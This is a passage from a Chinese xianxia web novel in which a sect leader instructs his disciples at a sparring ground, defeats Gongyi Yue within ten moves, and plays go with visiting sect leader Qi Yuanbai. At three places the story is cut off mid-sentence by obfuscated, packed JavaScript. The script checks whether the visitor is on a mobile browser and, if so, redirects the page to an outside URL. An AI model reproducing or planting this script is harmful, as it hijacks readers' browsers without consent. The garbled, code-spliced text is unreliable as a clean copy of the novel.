这一路走,观看比试的角度不算最佳,却也没有耽误公仪越伸长脖子认真观看,直到他不知不觉走到了宗主和承悦师兄的身边,才回过神来,对他们两人行礼问安。 “见过宗主,承悦师兄。” 公仪越声音很轻,老实说,这时候他不想看见的人,肯定就是面前两人了。 自己今天抱着必胜的决心来到演武场,哪里想过会是如此惨淡的收场,在公仪越看来,今天打的这一场,真是要多糟糕有多糟糕。 公仪越这一副魂不守舍的模样全然落在两人眼中,公仪岭和承悦心照不宣,没有拆穿他。 “免礼吧。” 再魂不守舍,公仪岭也必须得让他打起精神来。 他道:“不过一场比试而已,胜负是再正常不过的事情,在演武场上,从来都没有绝对的输赢,你不必如此介怀。” 公仪越一怔,第一反应不是想着该如何答复公仪岚的这一番安慰话语,而是十分飘忽地回忆着上一次自己和公仪岚这样对话是什么时候的事情了。 他没有想起来,因为在他的记忆里,从上一次仙考大会结束后,不知道什么时候开始,自己就很少能够再单独和公仪岚说话了。 也许是继任宗主后公仪岚事务繁忙,又或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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公仪越沉默良久,才低声道:“你说得对,宗主,这样的比试从来没有绝对的胜负,今日落败,的确是我轻视了朝烨师弟。” 公仪岭本还思索着该如何提点公仪越,没想到他自己就已经坦荡地说出了战败的原因,这一点出乎了公仪岭的意料,也让他很是欣慰。 “继续看他们比试吧。” 公仪岭拍了拍他的肩膀,目光没有挪开方台半分。 公仪越也很快收拾好低落的心情,聚精会神地望着场上剩余的十个人。 当局者迷,旁观者清。 这样认认真真地看上了一会儿,公仪越也渐渐明白过来,为什么宗主会择他们这四十个弟子上台比试了。 一开始点上去的公仪越五人,是云灵山中修为最高的五个弟子,而余下的人,公仪越看着看着,也看出来些门道。 例如,朝烨他们五个人,虽然修为有强有弱,但都有自己的长处和优势。像朝烨,就是这些弟子中行动最快最灵活的人,也正是因为这样,他才能勉强招架得住公仪越的攻势,找到机会反败为胜。 另外的三个方台上,也都是安排了几个天赋突出的弟子,和有潜力且努力的弟子们。十几分钟下来,如他公仪越一般失手出局的人,也不在少数。 他们所有人之间的共同点,就是极少被刻意安排到同一组进行对战,也因为大家之间修为的差距,也极少互相之间有所比试。在今日交手之时,竟然都不约而同地表现出来一份不同寻常的小心谨慎。 对此,公仪越再清楚不过。因为,在遇到不熟悉的、未知的对手,他也会摆出这样谨慎的姿态应敌。 难道,这就是公仪岚安排这次演武场比试的用意吗?公仪越默默想着,忍不住望向身侧那长身鹤立的男子。 168.友从远方来 疏雨洗清明(四) 一刻钟后,四十名弟子整整齐齐地站在高台上,余下的弟子也都立在下面,仰头等待着宗主的下一步指示。 这一场乱战下来,发生了太多他们没有预料到的事情。 最后四个方台上也只留下四个人,没有人能想得到,公仪越会那么快出局,更没人能想得到,最后留在方台上的人是公仪朝烨。 而其他三个方台上,也仅仅只有一个被他们看好的强者坚持到了最后。 公仪岭久久望着底下沉默的弟子们,终于开口:“很意外,不是吗?” “的确意外,在比试一开始,我就忽略了极为重要的一点。” 谁也没想到,接上宗主这句话的人会是公仪越。 公仪越即便这次落败,但依旧不影响大家认可他的实力,对于他主动提出来的问题,自然也十分上心,一个个听得认真。 公仪岭笑道:“你说说,是哪一点?” “这场比试本就与往常不同,想要获胜并非是击败对手,而是将对手击落方台,想方设法让自己留到最后。”公仪越声音平和,听不出有一丝起伏,“可我一心只想击倒朝烨,完全忽略了这一点。” 其他刚比试完,还没仔细琢磨是哪里出了问题的那些弟子,听了这番话,也顿时醒悟过来,面上尽显懊恼之色。 “宗主用这样的比试规则,是想让大家意识到在这样的条件下,想要击败对手,靠的不全是自己的修为吗?”承悦猜测道。 公仪岭却道:“其实,不管是什么样的规则,修为都不能完全决定一场比试的胜负。” 众人肃然。 “当然,天赋也不行。” 公仪越迟疑道:“可……剑修一道,本就及其看重天赋……” 公仪岭没有否认,轻笑着看了他一眼。 “阿越,你说得不错,剑修的确看重天赋。当年你刚入云灵山,父亲也十分看好你的仙资,觉得你是一块璞玉,日后一定能有所建树。在这以后,你没有让父亲失望,在弟子中也极为出众。” “可是,你们大家也不要忘记了,在仙门百家中,永远有人比你们更有天赋,也更为努力,天赋,从来不是能够拿来骄傲的东西。” 公仪越垂眸不语。在这片演武场上,没有人比他更清楚宗主这话的含义。 因为自己的天赋自视甚高,以为整个宗门上下除了公仪岚就再也没有自己的对手,想要借着今日的比试大出风头,结果就这样惨淡收场…… 其实,公仪越自己又何尝不清楚,跟其他弟子比起来,自己平日里又有几分努力?要是真的打起来,哪怕面对公仪承悦也只能有五分胜算吧。如果不是发生了今日这样打脸的事情,公仪越还不知道什么时候能清醒过来呢。 退一步来说,就算光是天赋,全宗门上下包括公仪岚在内,也统统都不及自己那位二师兄吧…… 他正想着,承悦就提到了。 “要说天赋,谁能比得上阿岭?每天钓鱼养王八都还能拿仙考魁首,可你们看看,这样天资聪颖的人,又是为何走上了绝境!” 再度从别人口中听到自己的名字,公仪岭心中难免恍惚了一下。 在教导弟子们的同时,他自然想到了自己,想到了从前让自己后悔不已的事情。 要是他从前能够明白这个道理,好好修习的话,燕婉也就不会被自己错杀,后面的所有事情也许都还有挽回的余地。 但眼下他不能想太多。 公仪岭收回思绪,定了定神:“承悦说得没错,虽然阿岭有这样高的天赋,可他不知克己,不懂慎独,最后声名狼藉,落得百口莫辩的下场。如果能重来一次,我想他也一定很后悔,觉得从前的少年心性是多么幼稚。” 承悦的这个例子举得极好。底下少部分弟子一开始心里还有些忿忿不平,觉得这话让他们这些仙资高的人来说,多少有些虚了,带着些“何不食肉糜”的意味。可等他们一提到岭师兄的例子,众人又都默然不语。 “好了,不再提了。” 公仪岭见好就收,他想要说的话都说得差不多了,今日叫他们来演武场参加比试,最要紧的事情还是给他们指点问题,好去参加仙考大会。 他第一个要说的,是公仪越的问题。 公仪岭侧过身,道:“阿越,你可知道方才在比试中,你招式的问题出在何处?” 公仪越抿着唇,想起朝烨对自己说的话,对公仪岭拱手行礼道:“宗主,朝烨师弟说,是因为我招式里的破绽太多了……” “嗯,朝烨这样说的话,倒也没错。”公仪岭点了点头,伸手放下了公仪越还在行礼的双手。 “阿越,你的问题在于,出的剑都过于追求华丽,却忽视了最本质的东西。这些华丽的招式或许在平时表演的时候花哨好看,但在跟旁人过招的时候,很容易被人破解击退。” 公仪越惊诧抬头:“宗主,从前我和文乐他们交手的时候,也没有落败地这样快啊。” “你们五人相互间都很熟悉,这其中又数你的修为最高,文乐他们想要胜过你不是易事。朝烨这次正是利用了你的缺点,反败为胜,要是你没有那样求胜心切,出招踏实一些的话,结果犹未可知。” 自己的问题被清楚地点明了出来,就连公仪越比试时候的心理也分析地分毫不差。或许,他之前觉得公仪岚还不够格指导自己的想法,是错的。 公仪越深吸了一口气,再次对宗主拜身下去,沉声道:“还请宗主赐教。” 公仪岭浅浅应了一声,毫不犹豫地跃下,众人甚至都没看清楚他是何时拔剑,他就已经手执彻云剑,稳稳落在方台之上。 只见他覆手一翻,左手上便凭空出现了一把三尺青锋,剑身流光华彩、镌云镶玉,正是公仪越的随身佩剑无疑。 此剑名唤钟灵剑,是他爹赠给公仪越的,也是一把极负盛名的灵剑,可见,从前公仪拓有多看重这个弟子。 公仪岭扬手将钟灵剑抛给面前的人,平静道:“十招之内,你会明白我是如何破解你的招式的。” 十招。 听到这话,场上众弟子无一不怔愣在原地,根本无法想象十招之内,该如何击败公仪越。 对他们而言,公仪越和公仪岚都是他们打不过的对象,对于他们彼此之间的水平,并没有清晰的认知,只觉得不管差距再怎么大,公仪越也不至于弱到连十招都撑不下来。 但对方是公仪岚,是那个从来都稳重可靠,不会轻易妄言的人,这让大家又觉得有些拿不准主意起来。 弟子们有时间去愣神,可场上的人却没有。 没有多余的礼节,方台上的两个人就这样各自握着自己的佩剑,开打了。 公仪越在云灵山上拜师的这十余年,在十招之内拿下师弟师妹的次数不计其数,可是从来没有一个人敢如此斩钉截铁地在他面前放话,能在十招内破解自己的招式。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414054|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夸张了吧?做不到吧? 就算这一次,公仪越是诚心诚意地向公仪岚请教,在他心中也无可避免地发出了这样的疑问。 但接下来,这方台上发生的一切,在此后的日子里,都给公仪越留下了刻骨铭心的记忆。 他拿到钟灵剑了,该开打了。 公仪越脑海中只来得及产生这一个念头,他刚想提剑朝着公仪岚冲过去,还未飞出三步,就惊骇地发现眼前那抹红衣身影闪过,下一秒便来到了自己的眼前。 而那把大名鼎鼎的彻云剑,此刻离自己的距离,不过只有五寸,几乎瞬间就能割开自己的喉管。 千钧一发之际,公仪越所有的招式统统成了虚无,一切动作都成了下意识的反应,那一刻,他所能够做到的,仅仅只是抬起剑、挡住公仪岚这一下,这样简单到不能更简单的动作。 “铮!” 钟灵剑的剑身在这瞬间不偏不倚地抗下了这一剑,发出了一声巨大剑鸣,产生了微微颤动。 何必一上来就用这么多灵力?总不至于是为了给自己一个下马威吧!就算是暂时震退自己,也不影响他的后续攻势啊! 公仪越十分自然的这样以为了。他以为这样提剑勉强拦下,自己会被公仪岚周身的灵力所震退,谁知,公仪越只是虚晃了一下身形,压根没有感觉到面前有灵力波动。 怎么会?! 一个念头无法克制地爬上了公仪越的心头。 没有灵力波动,也就是说,公仪岚刚刚的这一剑,根本没有动用周身的灵力,仅仅、仅仅是使出了这一剑,劈向自己而已。 公仪越还没从震惊中回过神来,面前人影又是一晃,只留下片刻的残像,随后他的侧后方,剑锋再度破空而来。 好快…… 那样快的剑势,公仪越已经无法抽身避开,只能再度抬剑招架。 在这样迅猛的攻势下,公仪越如果不想办法脱身,那就真的会被一直压制全程,再无反击的机会了。 这样想着,他不着痕迹地朝后退了一步,想要与公仪岚拉开距离。只要暂且与他保持一段距离,公仪越就有机会把他代入自己的节奏之中,从而取胜。 公仪越确实成功拉开一小段距离。 利用这样狭小的空间,这样短暂的时间,公仪越在这一秒下意识中能够做的,也只有自己平时最擅长的方式。 剑身灵力汇聚,在空中划过之时都残留下了丝丝光华。 “厉害啊!越师兄!” “真有他的!” 刚才宗主那一剑,众人的心都快提到嗓子眼了,都以为公仪越会就这样轻轻松松地被击败,全然没有想到他还能够反击。 他们都知道越师兄水平比不上宗主厉害,但要是连他都被宗主十招拿下的话,那宗主的实力,也太可怕了…… 十招什么的,大概真的只是随口一说吧?大家纷纷想着。 “公仪越在这样的情况下,居然还能抢出一剑,果然不错。” 承悦在高台上喃喃了一句,目光中流露出了欣赏之色。 他从不觉得公仪岚会失手,也相信他说十招之内,那一定就是十招之内让公仪越知道问题所在,唯一让承悦没想到的,还是公仪越这一下的表现。 可是,没有用! 众人最熟悉的,公仪越那华丽而又赏心悦目的剑招刚出,他的剑势甚至还没起完,就被公仪岚轻轻巧巧、简简单单一剑化开。 169.友从远方来 疏雨洗清明(五) 刚刚发生了什么? 称赞公仪越的那些弟子纷纷哑了声,所有人面面相觑,用眼神互相询问彼此,却没有一个人能够告诉他们明确的答案。 在公仪岚破开自己这一剑后,公仪越心里已经不能用震惊来形容了。 上一次跟公仪岚交手是什么时候?半年前?还是一年前? 具体的时间,公仪越记不清了,但他依旧能清楚地记得,上一次他们两个人交手,形势也不是如今天这样一边倒。 这一年来,公仪岚的修为竟然提高了这么多?公仪越惊惧地想着。 毫无还手之力,说的恐怕就是现在的自己吧。 剑影交错、剑光纷杂。 公仪越每一次反击都用尽了自己的全力,可是相比起公仪岚的剑势,他一切引以为傲的招式都好像纸糊的一样,三两下就被抓到了纰漏,然后轻松破除。 场上每个人早已经瞠目结舌,连话都说不出一句了。 唯有承悦,眼睛一眨也不眨,目光紧紧跟随着公仪岚的动作。 公仪岚的那些剑招,那些细枝末节的动作,无一不让他觉得陌生而又眼熟。 陌生,是因为承悦清楚地知道公仪岚有哪些习惯,而眼熟,是因为这些不合时宜的动作,本该出现在另一个人身上。 第十招。 公仪岭眼眸微眯,手中彻云剑陡然变向,原本要击向公仪越剑身的彻云忽然灵气四溢,飞快地打向了公仪越的手腕。 他算好了时机,算好了距离,这一击,公仪越避无可避。 “铛——” 钟灵剑从他手中掉落在地,剑身上的灵力流光也顷刻间消失无踪。 剑已脱手,胜负分明。 公仪越停了手,右手臂上是阵阵麻胀的感觉。这一次比试,他输得心服口服。 定了定神后,他弯下腰捡起钟灵剑,对公仪岭行礼道:“公仪越,多谢宗主赐教。” 在此之后,公仪岭再度开口,点了七八位弟子们的名字,有条不紊地开始逐个纠错,说到重点之时,也会即兴给大家示范一段,看得诸位弟子们目不转睛、连声惊叹。 公仪岭之所以一个个记得如此清楚,也多亏了他这几日特意去藏书阁,翻阅了近三年来大家的对战记录。故而山中每个弟子的问题他都心如明镜,能如数家珍。 这七八个人的问题讲完,一开始还持怀疑态度的那些弟子们也都默契地闭上了嘴。 还有什么能怀疑的?又还有什么能质疑的? 对战开始的时候,他们还觉得这四十个人一团混战,压根没人能看得清所有人的招式和问题,无论如何也料想不到,他们宗主不光全都看明白了,还能原样把问题复现出来。 “打得漂亮!” 也不知道是谁带的头,高台上的那些弟子纷纷鼓起掌来,于是,待到公仪岭收剑入鞘,入耳的便是不远处的掌声和叫好声。 公仪岭觉得那声叫好很是耳熟,立刻循声望去,果然在人堆中瞧见了一个与众不同的身影。 他飞身回到高台上,对远处站着的玄衣男子诧异道:“齐宗主,怎么这么早就来了?” 虽说齐元白前几日写信给自己打过招呼,但现在距离清明尚且还有两日,按他这样日理万机、忙得脚不沾地的情况,再怎么说,也该是清明当日到才对。 “太微山的事情一安排好,我便过来了。”齐元白相比之前见面,眉目间少了些凝重,看起来神色轻松,“想不到,一来就能瞧见这样精彩的场面,倒是不虚此行了。” 公仪岭道:“我还当你两日后才到,没把那间屋子给你打扫出来……承悦,你去叫仙侍们将齐宗主从前的住处给收拾出来吧。” “好。” “没事的,承悦,随便给我腾一间住两晚就行。” 齐元白对这些完全不在意,他来云灵山不是来度假的,随意摆了摆手后,对公仪岭道:“公仪兄,你继续跟他们说就是,不必管我。” 公仪岭的确还有话没跟弟子们说完,遂对齐元白轻轻点了一下头,转而对弟子们继续道:“大家在这次比试中显露出来的问题,在你们仙考历练的时候也极有可能遇到,接下来的时间,便由你们互相练习,有任何不懂的地方,随时来找我就是。” 众弟子拱手称是。 “我知道大家都很优秀,也很努力,你们每个人都是云灵山的骄傲。这次仙考大会,也预祝大家能够取得好成绩。” 公仪岭说完早已准备良久的一席话,扫了一眼弟子们脸上的神情,自觉效果不错,当即一挥手叫他们散了,弟子们也各自抱团开始互相对练起来。 齐元白也瞧着底下方台上的百来号云灵山弟子,顺口一问:“这些弟子,今年都能参加仙考大会?” 公仪岭缓缓摇头:“今年云灵山能参加仙考大会的,也不过六十余人。” “哦?”齐元白意外,“那倒是比我们太微山要少上二十人。” 公仪岭苦笑道:“齐兄,若是没有那两场大战,兴许这仙考名册上,还能够再加上几十个名字呢。” 闻言,齐元白顿时也不好再说什么,沉默良久才道:“再过些年头,想必各家也都能门生兴旺。” “但愿如此。”公仪岭低声应和了一句,“你这次提早两日来,可是有其他要事吗?” “要事?” 齐元白取出怀中的一封暗红云纹信函,在公仪岭面前晃了晃,笑道:“来找故友喝茶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14421061|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算得要事吗?” 崭新的信函,公仪岭都不用看第二眼,就知道这信函是前几天自己回给他的那一封。 信里公仪岭也顺便提了茶园采茶的事情,却万万没想到齐元白提早几日是为此来的。 公仪岭无奈道:“齐兄,怕是又在同我玩笑了。” 齐元白脸上依旧笑意不减:“玩笑吗?倒也不全是。除却找故友喝茶这桩大事以外,还有另外一件要紧事,我需得说给你听。” 公仪岭听出他的言下之意,飞快地瞥了一眼四周。 弟子们早就跑到方台上去对战了,承悦也领着一众仙侍干活去了,现在这高台之上,也仅有他们二人,似乎没什么事情是不能说的。 “现在这台子上只有我们两个人,齐兄何必与我打哑谜?这第二件要紧事是什么,不妨说来听听。” 齐元白却道:“不急,两天后我们一起去后山找阿岭喝茶的时候,再说也不迟。” 公仪岭清楚他的性格,这小子的嘴严得很,要是齐元白不打算说的事情,再怎么叫他说也是无济于事的。左不过就是两日的工夫,公仪岭并不着急,他只是隐隐有些好奇,齐元白这次特意想对着‘公仪岭’说的,究竟是什么重要的事情。 此后两日。 从那日演武场比试结束后,天空中便开始淅淅沥沥地落下细雨,整个云灵山内都变成了一番烟雨朦胧的景象。 不过,那次比试的效果却是显著,就连这样阴雨连绵的天气,也不影响山中弟子们每日练剑的课程。每每闲暇之余,成群结队去找公仪岭的弟子也都多了起来,哪怕公仪岭再忙,也会腾出手来给他们指点一二,看着他们学到东西后心满意足地离开。 齐元白原先的住所就在公仪岭院子的隔壁,等仙侍收拾出来以后,他就立刻搬了进去,每日也不知道在里面做什么,整整两天没出门。 公仪岭也是两天没出门,从早到晚都忙着处理公务,只有次日晚上熄灯前,才会问一问仙侍齐宗主在做什么。 仙侍没给他准确的答复,而是十分稳重的答道:“今日辰时,齐宗主叫人进去磨墨。” 这样一说,公仪岭心中也有了数:想必齐元白肯定也跟自己一样,都是在处理各自宗门内的事情,于是他也不再过问,只是细细叮嘱了一番仙侍,给他多带些宣纸过去。 这日夜间,公仪岭尚在批复公文,忽而听见门口仙侍敲了两下门。 在他忙碌的时候,除非有急事,不然仙侍是断然不可能过来打扰他的。 公仪岭眉目微凝,想起还没抓到山中偷盗之人,顿时以为是又出了什么事情:“何事?” 却听仙侍在门口道:“宗主,齐宗主传话过来,想邀您过去一趟。” 170.友从远方来 疏雨洗清明(六) “好,我知道了。” 公仪岭嘴上回了一句,心里却忍不住疑惑,看了一眼桌案上摆放的时历。 上面的“清明”二字早已被他特意圈了出来,等到明日,他们就会前去后山祭拜故人。公仪岭一直记着齐元白明日有话要说,既然拖了两日,想来也不是什么紧急的事情,齐元白也没道理在这时候忍不住提前说。 这样一来,公仪岭左思右想,也想不出来齐元白现在叫自己过去是所为何事。 批复完面前这一叠文书后,公仪岭将手头的其他事情暂且搁置,动身前往齐元白的住处。 这个时辰,虽然还不到就寝的时候,但是小路边的灯也熄灭了大半,噼里啪啦地下着不大不小的雨。公仪岭临行前取走了仙侍递过来的油纸伞和提灯,一手撑着伞,一手提着灯,幽幽照亮脚下的路。 “笃笃。” 脚步停在房屋门口,他抬起手,十分知礼地叩响了门。 里面立刻出声:“进来吧。” 公仪岭在推门前,以为会在里面看见齐元白奋笔疾书的模样,还思考了一下该如何开口关切一下齐元白。 哪成想,公仪岭一进去,就见齐元白颇为慵懒地倚着软榻,灯火临摹着他的轮廓,映在纱窗上,他的一只手搭在中间的矮几上,指尖还捏了一颗黑色棋子,有一下没一下地轻敲着桌面。 公仪岭扫了一眼矮几上的棋盘,很快就看清楚了棋盘上面的形势。这一局,一看就知是齐元白自己跟自己下出来的。 倒是难得见他如此悠闲。 公仪岭合上门,坐在他对面之时,顺道还将手中的灯笼放在了矮几上。 他笑道:“我还当齐宗主这几日是在忙着处理太微山的事情,不曾想,竟是在下棋?” “公仪兄,这话可误会我了,前两天我确确实实忙着,这不,好不容易忙完了抽出点时间,才想叫你过来与我手谈一局。” 公仪岭一愣:“这……” 刚进门的时候,他还没觉得有什么不对的,现在听到齐元白这话,公仪岭这才猛然意识到了什么。 公仪岭是会下棋的,他从小跟大哥、齐元白两个人也没少对弈,但会下棋,也不代表棋下得有多好。公仪岭自认为棋力对付对付一般弟子是完全够了,但要是真的跟齐元白对上,恐怕他还真没多少胜算。 毕竟,在他们几人之中,要论棋力,也只有公仪岚能够和齐元白棋逢对手地来上一局,如果换公仪岭来的话,最多也只能跟他下到收官。 脸能蒙混过关,但这棋力,可是真真切切造不了假的。要是他真跟齐元白来上一局,就算想出绝佳的借口想糊弄过去,也难保齐元白不会起疑。 想瞒住他,还真不是一件容易的事情。 公仪岭勉强接话:“……齐兄啊,我那边还有文书没批完。你看,这天色也不早了,要是没什么急事的话,我就先回去了?” 齐元白好不容易把人叫过来,当然不会因为这么轻易就让他走了。 就见齐元白把桌上的那些黑白棋子重新收回了框内,悠悠道:“批完了旧的,等明天又会有新的公文送过来,公仪兄何必着急这一时半刻?正好,我们也有段时日没见了,一边下棋,一边也能跟我说说青花谷那边的事情。” 这下子,公仪岭想走也走不得了。 他无奈地看了一眼两个棋篓,道:“猜先吧。” “我都强留下你下棋了,怎么还好叫你猜先呢?公仪兄执白先行就是。”齐元白微微一笑,把面前的两个棋篓子换了换位置。 公仪岭拈起一颗白子,觉得这棋子的触感细腻如玉,不似凡品,随口问道:“我可没听说仙侍还给你备了棋盘和棋子,这些东西,是你自己带过来的吧?” 齐元白点头道:“说来也巧,我路过某地,瞧见那儿正在卖这方玛瑙棋盘,就顺手给买下来了,公仪兄肯定也认出来,这是上好的永子了吧?” “的确不错。” 得知齐元白不是特意带着棋盘过来试探他,公仪岭放心了不少,落子的手也稍稍松动了几分,没那么僵硬了。 齐元白熟悉公仪岭的棋路的同时,公仪岭也熟悉他和公仪岚的棋路,以他的记忆力,想要模仿出七八分相似,倒也不难,就看齐元白会不会怀疑了。 星位开局后,公仪岭用的就是大哥从前最擅长的手法,而齐元白面色如常,所应对的办法也完全不出公仪岭所料,让他信心倍增,行棋手法也越发稳健。 “尖。” 公仪岭落子,在等待齐元白的间隙,对他说:“我以为,你大晚上叫我过来,是想提前跟我说那桩要事。” 齐元白手执黑子思考片刻,选择用小飞应对:“我向来言而有信,既然要等明日再说,就断然不会提前。公仪兄,你不妨先详细说一说,在青花谷时候遇到了什么事情?” 公仪岭叹了口气:“好吧。” 只因这件事情说来话长,故而此前在信中,公仪岭没有详谈此事,齐元白目前知道的一切,还都是从旁人口中得知,仅仅是一些零碎片段。 想来也是,青花谷因为妖毒一事元气大伤,孟妙意焦头烂额,也没有时间一个个宗门传信告知,齐元白想早点知道的话,来问他这个当事人是最快的方法了。 “其实,整件事情说来也简单,最为蹊跷的就是解毒之物,无论如何我也想不到,竟然会是阿岭那块黑石鬼玉。” 齐元白长长出了一口气:“果然是它,那想必妖毒这件事情,跟玄霄殿是脱不了干系了。” 公仪岭摇头道:“难说。” “我离开云灵山前几日,黑石鬼玉险些被盗。齐兄,实不相瞒,我觉得这盗鬼玉的,和散布妖毒的是同一个人。” 齐元白没有否认:“是或不是,我想很快就能见分晓了。” 公仪岭琢磨着他这句话,觉得也有几分道理。这人闹出这样大的动静,也不知目的是什么,唯一能肯定的是,他冒着暴露身份的风险也要出手,肯定是快到了走投无路的境地。 时至今日,在众仙家严密的监视下,这人能隐匿这么久,在公仪岭看来,已经是一个奇迹了。 公仪岭正出神,全然不觉自己的白子已经逐渐深陷包围,岌岌可危。 软榻旁边烛火摇曳,不知不觉间已经短了一大截。 中盘后,公仪岭已经看出来齐元白在棋盘上是作何布局,而这一切布局的开始,竟然就是自己走神的那一会儿,被他一步一步引导着,走向既定的方向。 每下一步,公仪岭心中便凉上一分。 他在试探齐元白的时候,齐元白也在试探他。 两人你来我往,在这方寸棋盘上厮杀许久,表面上看似平分秋色,实则局势尽在齐元白掌握之中。而齐元白费尽心思布下此局,如此周密的计算和一心二用的本事,即便是公仪岭也自愧不如。 显然,在这一年期间,齐元白的棋力又增进了几分。 看出齐元白的布局之法后,想要破局,势必得找出一条新的生路。公仪岭做了不少尝试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14432458|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,除了中间的两三手让齐元白稍微修改了一下自己的思路外,其他的压根起不到多少作用,饶是他咬牙死撑,撑到了收官的时候,却还是输了齐元白四颗子。 自己输了多少,公仪岭压根不在乎,从两人开始慢慢清算棋子的时候,公仪岭的注意力,就全用来察言观色了。 可是光这样看,他也看不出什么。从头至尾,齐元白的脸色就很平和,连一丝波澜都没起,只能偶尔瞥见他嘴角那淡淡的笑容,谁也不知道他心里到底在想什么。 两个人这样沉默下去也不是个事情,公仪岭想说些什么,刚抬头,就看见对面的人抓了一把棋子过来,放进了他的棋篓中。 “承让了,公仪兄。” 公仪岭道:“一年来,你的棋艺精进不少。” “呵呵。” 齐元白的表情终于有了些变化,他勉强扯了扯嘴角,露出的却是一个并不怎么好看的笑容,整个人在一瞬间看起来有些落寞。 “从前在太微山,清鸢常常会与我下棋,如今剩下我一人,哪怕闲暇之余,也只能自己与自己对弈、打谱,聊以打发时间。时间一长,多少也能有些进步。” 公仪岭张了张嘴,哑了半天。 难怪他刚进门的时候,就看见齐元白是自己和自己在下棋,原来,这样的习惯,他已经维持了有一段时间了。 齐清鸢的离开,对齐元白来说是一件极为悲痛的事情,而自那场大战结束后,他们两个人每每见面,也都会刻意互相回避掉这些悲伤的回忆。 但是,即使他们再怎么避开,有关于亲人的点点滴滴,总会从各种各样的角落里钻出来,勾起人的思绪。 良久,公仪岭才长叹了一声:“这件事情,我在信中也没细细问你。齐兄,明日便是清明,你可得告诉我,祭拜齐姑娘和太微山逝世弟子们的事情,你是如何安排的?这样重要的日子,你这个宗主不在,当真没问题吗?” 齐元白收棋子的手一顿,继而道:“延后了。” 公仪岭恍惚了一下:“什么?” 齐元白低声道:“有关于祭拜的所有事宜,全都被我延后了。” 公仪岭好一会儿才反应过来他是什么意思,一脸不可置信。 太微山不比青花谷,齐元白和孟妙意那样尴尬的处境也有所不同,齐元白名正言顺地继任太微山的宗主之位,旁边也没有一群虎视眈眈等着他退位让贤的人,压根没有后顾之忧。但这样的举动,在公仪岭看来,也实在是太过大胆了。 大战结束不久,这一年的清明对各家而言,意义可谓重大,多半是得大操大办一番才行的,齐元白根基刚稳,就将此等大事给延到了后面,还在清明当天过来云灵山祭拜“他”这个罪人,且不说其他宗门的人会如何指指点点,怕是他们自家的弟子们也会有所非议,对他产生不满的情绪。 更何况,仙逝的人里,还包括了他的至亲,要是被别有用心的人知道,没准还得在背地里骂他一句六亲不认。 公仪岭极力克制自己的情绪:“……延后?延后几日?一日?两日?你从这里回去,两天时间能赶得及吗?” 齐元白摇头:“两日当然来不及,我还有要事要办,所以,祭拜这件事情,他们得等我回去以后才行,也许是一个月,也许是两个月。” “你疯了?!” 公仪岭又惊又怒,几乎拍案而起:“这样的日子,你不在太微山祭奠英烈,反倒来云灵山看望阿岭,你知不知道你这么做,他们会如何看你?!” 171.友从远方来 疏雨洗清明(七) 他不管不顾地说完这一番话后,也愣了神,立刻意识到自己的失态,紧绷着身子一言不发,霍然又坐下了。 齐元白凝视了他一眼,决然道:“公仪兄,我知道,但是没办法再拖延下去了,现在是最好的时机。” 最好的时机?什么最好的时机? 公仪岭完全听不懂他在说什么,难得露出几分茫然。 “你说什么……” 齐元白打断他道:“总而言之,太微山的那些事情,公仪兄你不必担心,我既然已经来了,就断然没有要走的意思。” 公仪岭颤声道:“可是,哪怕是祭拜阿岭,左右也花不了一日的时间,等明天后你启程出发,回到太微山后先把祭拜这事情了了,再去办事也不迟?” 齐元白缓缓摇头:“总之,这些事情我都心中有数,不会反伤自身,你且放心。” “罢了,这盘是你赢了,听你的就是。” 公仪岭很少看见他这样执拗的样子,心知劝不动他,只好闭口不言,把所有白子都哗啦啦地倒入了棋篓中。 从前,他们几人之间也总是这样,要是有什么争议了,要么比试一场,要么对弈一次,办法五花八门,一言归之,就是谁赢了听谁的。 齐元白神情微妙,若有所思地指了指棋盘,又道:“也好。那要不要再来上一局?” 公仪岭心觉疲惫,抬眼看向软榻旁快燃尽的蜡烛,摆了摆手:“时辰不早了,不来了,我也该走了。” “不急。” 齐元白却没想让他这么早离开,慢悠悠地从软榻上起身,去不远处桌案转悠了一圈,回来时候手中已经提了一壶酒来。 是竹叶青。 公仪岭一眼认出,心脏狂跳,险些以为齐元白是认出自己来了。 心里波涛汹涌,但他面上还是装作镇定自若的样子问道:“这次祭拜阿岭,你也带了竹叶青?” 齐元白自然道:“嗯,公仪兄你也是知道的,阿岭最喜欢喝这个酒了,我既然过来见他,也总该带点来不是?” “但我……你知道我喝不了多少酒。” 